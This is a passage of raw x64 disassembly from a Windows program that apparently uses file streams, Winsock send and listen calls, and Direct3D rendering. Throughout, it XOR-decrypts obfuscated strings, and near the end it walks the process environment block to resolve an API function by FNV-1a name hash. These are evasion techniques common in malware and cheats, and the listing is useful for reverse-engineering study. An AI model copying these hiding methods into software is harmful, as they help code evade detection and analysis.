lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x510]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x510], rax
mov rax, qword [rbp + 0x510]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x50c], edx
lea rcx, [rbp + 0x520]
call fcn.14005e230
lea rcx, [rbp + 0x528]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_istream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x5c0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov byte [0x140117bda], 1
mov dword [rbp + 0x1a8], 0
mov dword [rbp + 0x1ac], 0x42200000
lea rcx, [rbp + 0x1a8]
call fcn.14004d6a0
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movaps xmm1, xmm10
cmp byte [rax + 0xd4], 0
jne 0x14007ba6e
mov qword [rbp + 0x1b0], 0
lea rcx, [rbp + 0x1b0]
call fcn.140023210
movaps xmm1, xmm10
movsd xmm0, qword [0x1400ffff8]
movsd qword [rbp - 0x40], xmm0
movaps xmm0, xmm12
movzx r8d, byte [0x140100000]
call fcn.1400235f0
mov byte [rbp - 0x40], 0x55
xor byte [rbp - 0x3f], 0x34
xor byte [rbp - 0x3e], 0x35
xor byte [rbp - 0x3d], 0x36
xor byte [rbp - 0x3c], 0x37
xor byte [rbp - 0x3b], 0x38
xor byte [rbp - 0x3a], 0x39
xor byte [rbp - 0x39], 0x3a
xor r8b, 0x3b
mov byte [rbp - 0x38], r8b
lea rcx, [rbp - 0x40]
call fcn.14004adb0
mov qword [rbp + 0x1b8], 0x42d20000
lea rcx, [rbp + 0x1b8]
call fcn.14004d6a0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400235f0
movsd xmm4, qword [0x1400ffed8]
movsd qword [rbp + 0xe0], xmm4
mov eax, dword [0x1400ffee0]
mov dword [rbp + 0xe8], eax
movzx eax, word [0x1400ffee4]
mov word [rbp + 0xec], ax
movzx eax, byte [0x1400ffee6]
mov byte [rbp + 0xee], al
mov r8d, edi
mov r14d, 5
lea r12d, [r14 + 0x1a]
cmp r15d, 2
jl 0x14007bc49
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r14d
movd xmm5, r12d
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400ffed8]
pxor xmm2, xmm0
movd dword [rbp + 0xe0], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe4]
pxor xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xe0]
add r9, rax
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14007bc60
mov qword [rbp + 0x1c0], 0
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], edi
lea rax, [rbp + 0x1c0]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WS2_32.dll_sendto
lea rsi, [0x140117c58]
mov r8, rsi
xor edx, edx
lea rcx, [rbp + 0xe0]
call fcn.140050af0
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movaps xmm1, xmm10
cmp byte [rax + 0xd4], 0
jne 0x14007bd1a
mov qword [rbp + 0x1c8], 0
lea rcx, [rbp + 0x1c8]
call fcn.140023210
movaps xmm1, xmm10
movsd xmm0, qword [0x1400ffd98]
movsd qword [rbp - 0x50], xmm0
movaps xmm0, xmm12
movzx r8d, byte [0x1400ffda0]
call fcn.1400235f0
mov byte [rbp - 0x50], 0x50
xor byte [rbp - 0x4f], 0x34
xor byte [rbp - 0x4e], 0x35
xor byte [rbp - 0x4d], 0x36
xor byte [rbp - 0x4c], 0x37
xor byte [rbp - 0x4b], 0x38
xor byte [rbp - 0x4a], 0x39
xor byte [rbp - 0x49], 0x3a
xor r8b, 0x3b
mov byte [rbp - 0x48], r8b
lea rcx, [rbp - 0x50]
call fcn.14004adb0
mov qword [rbp + 0x1d0], 0x42d20000
lea rcx, [rbp + 0x1d0]
call fcn.14004d6a0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400235f0
movsd xmm4, qword [0x1400fff78]
movsd qword [rbp + 0xf0], xmm4
mov eax, dword [0x1400fff80]
mov dword [rbp + 0xf8], eax
movzx eax, word [0x1400fff84]
mov word [rbp + 0xfc], ax
movzx eax, byte [0x1400fff86]
mov byte [rbp + 0xfe], al
mov r8d, edi
cmp r15d, 2
jl 0x14007beeb
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r14d
movd xmm5, r12d
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1400fff78]
pxor xmm2, xmm0
movd dword [rbp + 0xf0], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf4]
pxor xmm2, xmm1
movd dword [rbp + 0xf4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xf0]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14007bf00
mov qword [rbp + 0x210], 0
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000
lea rax, [rbp + 0x210]
mov qword [rsp + 0x20], rax
mov r9d, reloc.WS2_32.dll_sendto
lea rbx, [0x140117c38]
mov r8, rbx
xor edx, edx
lea rcx, [rbp + 0xf0]
call fcn.140050af0
mov rcx, qword [0x140117be0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
cmp byte [rax + 0xd4], 0
jne 0x14007bfba
mov qword [rbp + 0x1e0], 0
movaps xmm1, xmm10
lea rcx, [rbp + 0x1e0]
call fcn.140023210
mov qword [rbp + 0x1e8], 0x42d20000
lea rcx, [rbp + 0x1e8]
call fcn.14004d6a0
movaps xmm1, xmm10
movaps xmm0, xmm11
call fcn.1400235f0
mov dword [rbp + 0x1f0], 0x43500000
mov dword [rbp + 0x1f4], 0x41c80000
movsd xmm0, qword [0x1400ff830]
movsd qword [rbp - 0x20], xmm0
movzx ecx, word [0x1400ff838]
mov word [rbp - 0x18], cx
movzx eax, byte [0x1400ff83a]
mov byte [rbp - 0x20], Ordinal_79
xor byte [rbp - 0x1f], 0x34
xor byte [rbp - 0x1e], 0x35
xor byte [rbp - 0x1d], 0x36
xor byte [rbp - 0x1c], 0x37
xor byte [rbp - 0x1b], 0x38
xor byte [rbp - 0x1a], 0x39
xor byte [rbp - 0x19], 0x3a
xor cl, 0x3b
mov byte [rbp - 0x18], cl
xor byte [rbp - 0x17], 0x3c
xor al, 0x3d
mov byte [rbp - 0x16], al
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp - 0x20]
call fcn.14004b870
test al, al
je 0x14007c951
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x510]
call fcn.1400e5878
lea rdx, [0x140117ef8]
cmp qword [0x140117f10], 0x10
cmovae rdx, qword [0x140117ef8]
mov r8d, 2
lea rcx, [rbp + 0x510]
call fcn.14007e3b0
mov rax, qword [rbp + 0x510]
movsxd rcx, dword [rax + 4]
lea r13, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x510], r13
mov rax, qword [rbp + 0x510]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x50c], edx
cmp qword [rbp + 0x598], 0
je 0x14007c143
mov rdx, rsi
lea rcx, [rbp + 0x510]
call fcn.14007f210
lea rdx, [0x14007f3e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rdx, rbx
lea rcx, [rbp + 0x510]
call fcn.14007f210
lea rdx, [0x14007f3e0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp + 0x518]
call fcn.14005ec50
test rax, rax
jne 0x14007c143
mov rax, qword [rbp + 0x510]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x510]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0x510]
movsxd rcx, dword [rax + 4]
mov qword [rbp + rcx + 0x510], r13
mov rax, qword [rbp + 0x510]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x50c], edx
lea rcx, [rbp + 0x518]
call fcn.14005e230
lea rcx, [rbp + 0x520]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x5b8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rax, [rbp + 0x388]
mov qword [rbp + 8], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x388], xmm0
mov qword [rbp + 0x398], rdi
mov qword [rbp + 0x3a0], rdi
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rbx + r8], 0
jne 0x14007c1c0
mov rdx, rbx
lea rcx, [rbp + 0x388]
call fcn.140012c50
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x408], xmm0
mov qword [rbp + 0x418], rdi
mov qword [rbp + 0x420], rdi
mov r8, 0xffffffffffffffff
nop dword [rax]
inc r8
cmp byte [rsi + r8], 0
jne 0x14007c200
mov rdx, rsi
lea rcx, [rbp + 0x408]
call fcn.140012c50
nop
lea r8, [rbp + 0x388]
lea rdx, [rbp + 0x408]
lea rcx, [0x140117ff0]
call fcn.140092220
cmp byte [0x140118200], 0
je 0x14007d328
mov rax, qword [0x140100078]
mov qword [rbp + 8], rax
cmp byte [0x14010007f], 0
je 0x14007c3b3
cmp r15d, 2
jl 0x14007c36d
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r14d
movd xmm5, r12d
movdqa xmm2, xmmword [0x140100490]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
mov eax, dword [0x1401004f0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 8]
pxor xmm2, xmm1
movd dword [rbp + 8], xmm2
movdqa xmm3, xmmword [0x1401004a0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1401004b0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc]
pxor xmm2, xmm1
movd dword [rbp + 0xc], xmm2
jmp 0x14007c3b3
lea r9, [rbp + 8]
mov r8d, edi
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x14007c380
xorps xmm0, xmm0
movups xmmword [rbp + 0x408], xmm0
mov qword [rbp + 0x418], rdi
mov qword [rbp + 0x420], rdi
lea rax, [rbp + 8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14007c3d6
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x408]
call fcn.140012c50
lea r8, [rbp + 0x408]
lea rdx, [rbp + 0x388]
lea rcx, [0x140117ff0]
call fcn.140096a60
mov rbx, rax
lea r13, [0x140117fb0]
cmp r13, rax
je 0x14007c497
mov rdx, qword [0x140117fc8]
cmp rdx, 0x10
jb 0x14007c45a
inc rdx
mov rcx, qword [0x140117fb0]
cmp rdx, 0x1000
jb 0x14007c455
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x14007cdff
mov rcx, r8
call fcn.1400e44b0
mov qword [0x140117fc0], rdi
mov qword [0x140117fc8], 0xf
mov byte [0x140117fb0], 0
movups xmm0, xmmword [rbx]
movups xmmword [0x140117fb0], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [0x140117fc0], xmm1
mov qword [rbx + 0x10], rdi
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
mov byte [rbx], 0
mov rdx, qword [rbp + 0x3a0]
cmp rdx, 0x10
jb 0x14007c4d8
inc rdx
mov rcx, qword [rbp + 0x388]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c4d3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007cdff
call fcn.1400e44b0
lea rdx, [0x140117e00]
cmp qword [0x140117e18], 0x10
cmovae rdx, qword [0x140117e00]
mov rcx, r13
cmp qword [0x140117fc8], 0x10
cmovae rcx, qword [0x140117fb0]
mov r8, qword [0x140117fc0]
cmp r8, qword [0x140117e10]
jne 0x14007c51b
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
je 0x14007c51d
mov al, 1
test al, al
jne 0x14007d0a8
movups xmm0, xmmword [str.__AFD]
movups xmmword [rbp + 0x408], xmm0
movups xmm1, xmmword [0x1401001f8]
movups xmmword [rbp + 0x418], xmm1
movzx eax, word [0x140100208]
mov word [rbp + 0x428], ax
mov r8d, edi
cmp r15d, 2
jl 0x14007c6af
movdqa xmm5, xmmword [0x140100490]
movdqa xmm4, xmmword [0x140100810]
movd xmm6, r14d
movdqa xmm7, xmmword [0x1401004b0]
movd xmm8, r12d
movdqa xmm0, xmmword [0x1401004f0]
movdqa xmmword [rbp + 0x2c0], xmm0
lea rcx, [rbp + 0x40c]
mov edx, dword [rbp + 0x2c0]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1401004d0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14007c5a0
cmp r8d, 0x22
jge 0x14007c6f3
movsxd rax, r8d
lea r9, [rbp + 0x408]
add r9, rax
nop dword [rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x33
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x22
jl 0x14007c6c0
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x20], rdi
lea rax, [rbp + 0x408]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14007c710
lea rdx, [rbp + 0x408]
lea rcx, [rbp + 8]
call fcn.140012c50
nop
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x3b0]
call fcn.140068ec0
nop
mov rdx, qword [rbp + 0x20]
cmp rdx, 0x10
jb 0x14007c777
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c772
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007ce06
call fcn.1400e44b0
mov qword [rbp + 0x18], rdi
mov qword [rbp + 0x20], reloc.WS2_32.dll_ntohs
mov byte [rbp + 8], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x350], xmm0
lea rdx, [rbp + 0x3b0]
lea rcx, [rbp + 0x350]
call fcn.1400693a0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x2c0], xmm0
mov qword [rbp + 0x2d0], rdi
mov qword [rbp + 0x2d8], rdi
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rsi + r8], 0
jne 0x14007c7c4
mov rdx, rsi
lea rcx, [rbp + 0x2c0]
call fcn.140012c50
mov rsi, qword [rbp + 0x350]
mov rbx, qword [rsi + 8]
mov r15, rsi
mov r13, qword [rbp + 0x2d8]
mov r12, qword [rbp + 0x2c0]
cmp byte [rbx + 0x19], 0
jne 0x14007c875
mov r14, qword [rbp + 0x2d0]
nop word [rax + rax]
lea rcx, [rbx + 0x20]
lea rdx, [rbp + 0x2c0]
cmp r13, 0x10
cmovae rdx, r12
mov rsi, qword [rcx + 0x10]
cmp qword [rcx + 0x18], 0x10
jb 0x14007c831
mov rcx, qword [rcx]
mov r8, rsi
cmp r14, rsi
cmovb r8, r14
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14007c855
cmp rsi, r14
jae 0x14007c850
mov eax, 0xffffffff
jmp 0x14007c855
mov eax, edi
seta al
shr eax, 0x1f
test al, al
je 0x14007c862
mov rbx, qword [rbx + 0x10]
jmp 0x14007c868
mov r15, rbx
mov rbx, qword [rbx]
cmp byte [rbx + 0x19], 0
je 0x14007c810
mov rsi, qword [rbp + 0x350]
cmp byte [r15 + 0x19], 0
jne 0x14007c890
lea r8, [r15 + 0x20]
lea rdx, [rbp + 0x2c0]
call fcn.140081cc0
test al, al
je 0x14007c893
mov r15, rsi
mov rbx, rsi
cmp r13, 0x10
jb 0x14007c8d5
lea rdx, [r13 + 1]
mov rax, r12
cmp rdx, 0x1000
jb 0x14007c8c6
add rdx, 0x27
mov r12, qword [r12 - 8]
sub rax, r12
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007ce0d
mov rcx, r12
call fcn.1400e44b0
mov rsi, qword [rbp + 0x350]
cmp r15, rbx
je 0x14007ce1b
mov dword [reloc.WS2_32.dll_bind], edi
mov r13b, 1
mov r8, qword [rsi + 8]
lea rdx, [rbp + 0x350]
lea rcx, [rbp + 0x350]
call fcn.140081940
mov edx, 0x40
mov rcx, qword [rbp + 0x350]
call fcn.1400e44b0
nop
mov rdx, qword [rbp + 0x3c8]
cmp rdx, 0x10
jb 0x14007c951
inc rdx
mov rcx, qword [rbp + 0x3b0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14007c94c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14007ce14
call fcn.1400e44b0
call fcn.140022550
call fcn.14001b4d0
mov rcx, qword [0x140117c30]
mov rax, qword [rcx]
mov dword [rsp + 0x30], edi
movss xmm0, dword [0x1401002e8]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], edi
mov r9d, 3
xor r8d, r8d
xor edx, edx
call qword [rax + 0x158]
mov rcx, qword [0x140117c30]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14007c9df
call fcn.14001b990
mov rax, qword [0x140117be0]
mov rax, qword [rax + 0x1ef8]
mov rcx, qword [rax]
add rcx, 0xa8
mov rax, rdi
cmp byte [rcx], dil
cmovne rax, rcx
mov rcx, rax
call fcn.140046850
mov rcx, qword [0x140117c30]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rax, qword [rbp + 0x208]
test dword [rax + 8], 0x400
je 0x14007caca
call fcn.14002b720
mov rbx, qword [0x140117be0]
mov r15d, 1
mov eax, dword [rbx + 0x1628]
cmp eax, r15d
jle 0x14007ca6c
mov r14d, 8
nop word [rax + rax]
mov rax, qword [rbx + 0x1630]
mov rsi, qword [r14 + rax]
test dword [rsi + 4], 0x400
jne 0x14007ca5a
mov rax, qword [rbx + 0x15c0]
test rax, rax
je 0x14007ca47
xor edx, edx
mov rcx, rsi
call rax
mov rax, qword [rbx + 0x1608]
test rax, rax
je 0x14007ca5a
xor edx, edx
mov rcx, rsi
call rax
inc r15d
add r14, 8
mov eax, dword [rbx + 0x1628]
cmp r15d, eax
jl 0x14007ca20
mov r15d, 1
cmp eax, r15d
jle 0x14007caca
mov r14d, 8
nop dword [rax]
mov rax, qword [rbx + 0x1630]
mov rsi, qword [r14 + rax]
test dword [rsi + 4], 0x400
jne 0x14007caba
mov rax, qword [rbx + 0x15c8]
test rax, rax
je 0x14007caa7
xor edx, edx
mov rcx, rsi
call rax
mov rax, qword [rbx + 0x1610]
test rax, rax
je 0x14007caba
xor edx, edx
mov rcx, rsi
call rax
inc r15d
add r14, 8
cmp r15d, dword [rbx + 0x1628]
jl 0x14007ca80
mov rcx, qword [0x140117c30]
mov rax, qword [rcx]
mov qword [rsp + 0x20], rdi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14007cb07
mov rcx, qword [0x140117c30]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14007cb07
call fcn.1400765b0
cmp byte [reloc.WS2_32.dll_accept], 0
je 0x14007d49a
movss xmm8, dword [0x14010035c]
movss xmm6, dword [rbp + 0x140]
movss xmm7, dword [rbp + 0x144]
mov r15d, dword [reloc.WS2_32.dll_accept]
movzx r12d, byte [rsp + 0x6c]
mov r14, qword [rbp + 0xc8]
mov rsi, qword [rbp + 0x1f8]
cmp dword [rbp + 0x4c8], 0x12
je 0x14007d4a4
jmp 0x140077c30
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.1400739c0
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov esi, dword [rcx + r10 + 0x88]
add rsi, r10
cmp rsi, r10
je 0x14007cbf6
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x14007cbf6
mov ebx, dword [rsi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14007cbf1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14007cbd0
cmp r8d, 0x31a98fee
je 0x14007cbfb
test r9d, r9d
jne 0x14007cbb0
mov rax, qword [rax]
jmp 0x14007cb80
mov ecx, dword [rsi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rsi + 0x1c]
add rcx, r10
mov ebx, dword [rcx + rdx*4]
add rbx, r10
lea rdx, [rbp + 0xc8]
call fcn.14007d930
mov r10, rax
movzx eax, word [rax + 0xc]
test ax, ax
je 0x14007cc56
xor word [r10], 0x33
xor word [r10 + 2], 0x34
xor word [r10 + 4], 0x35
xor word [r10 + 6], 0x36
xor word [r10 + 8], 0x37
xor word [r10 + 0xa], 0x38
xor ax, 0x39
mov word [r10 + 0xc], ax
lea rdx, [rbp + 0x3b0]
call fcn.14007d8f0
mov r11, rax
cmp word [rax + 0x28], 0
je 0x14007d8d0
cmp r15d, 2
jl 0x14007cdab
movdqa xmm5, xmmword [0x140100490]
